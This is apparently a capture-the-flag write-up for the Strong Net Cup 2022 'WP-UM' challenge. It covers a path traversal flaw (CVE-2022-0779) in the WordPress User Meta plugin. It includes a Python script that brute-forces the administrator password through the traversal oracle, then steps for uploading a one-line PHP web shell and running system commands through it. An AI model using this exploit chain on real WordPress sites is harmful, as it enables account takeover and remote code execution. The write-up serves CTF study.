当前位置:网站首页>[Strong Net Cup 2022] WP-UM
[Strong Net Cup 2022] WP-UM
2022-08-05 10:03:00 【Landasika】
Test site: WordPress User Meta Lite Pro 2.4.3 Path Traversal Vulnerability CVE-2022-0779
Initialize questions first
Get administrator account password
Register a user
Login user
Capture the uploaded data package
Then send, intercept a packet with action=um_show_uploaded_file
According to the home page information, you can get the administrator's username
Using the CVE-2022-0779 Path traversal vulnerability, if this file exists, then Remove will be displayed, if there is no such file, there will be no Remove
Blast the password
import requestslis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'password=''url="http://ip:port/wp-admin/admin-ajax.php"header={'Host': 'ip:port','X-Requested-With': 'XMLHttpRequest','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36','Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8','Origin': 'http://ip:port','Referer': 'http://ip:port/index.php/upload/','Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'}for i in range (1,16):for s in lis:datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"result=requests.post(url,data=datas,headers=header)if 'Remove' in result.text:password+=sbreakprint(password)
Upload a Trojan horse
Modify upload file settings
Then enter the page to update
Upload a sentence Trojan
Get flag
Go to wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
边栏推荐
猜你喜欢
2022.8.3
mysql索引
数据中台建设(十):数据安全管理
Redis源码解析:Redis Cluster
Bias lock/light lock/heavy lock lock is healthier. How is locking and unlocking accomplished?
three.js调试工具dat.gui使用
电竞、便捷、高效、安全,盘点OriginOS功能的关键词
C语言的高级用法
js graphics operation one (compatible with pc, mobile terminal to achieve draggable attribute drag and drop effect)
开源一夏|OpenHarmony如何查询设备类型(eTS)
随机推荐
仿SBUS与串口数据固定转换
首次去中心化抢劫?近2亿美元损失:跨链桥Nomad 被攻击事件分析
Voice conversion相关语音数据集综合汇总
告白数字化转型时代:麦聪软件以最简单的方式让企业把数据用起来
上海控安技术成果入选市经信委《2021年上海市网络安全产业创新攻关成果目录》
轩辕实验室丨欧盟EVITA项目预研 第一章(四)
使用工具类把对象中的null值转换为空字符串(集合也可以使用)
为什么sys_class 里显示的很多表的 RELTABLESPACE 值为 0 ?
matcher中find,matches,lookingAt匹配字符串的不同之处说明
2022-08-01 Review the basic binary tree and operations
PAT Level B - B1021 Single Digit Statistics (15)
【zeno】为zeno增加子模块/新节点的最小化的例子
【MindSpore易点通机器人-01】你也许见过很多知识问答机器人,但这个有点不一样
无题十一
浅析WSGI协议
Keil升级到AC6后,到底有哪些变化?
无题六
无题七
mysql进阶(二十七)数据库索引原理
什么是CRM决策分析管理?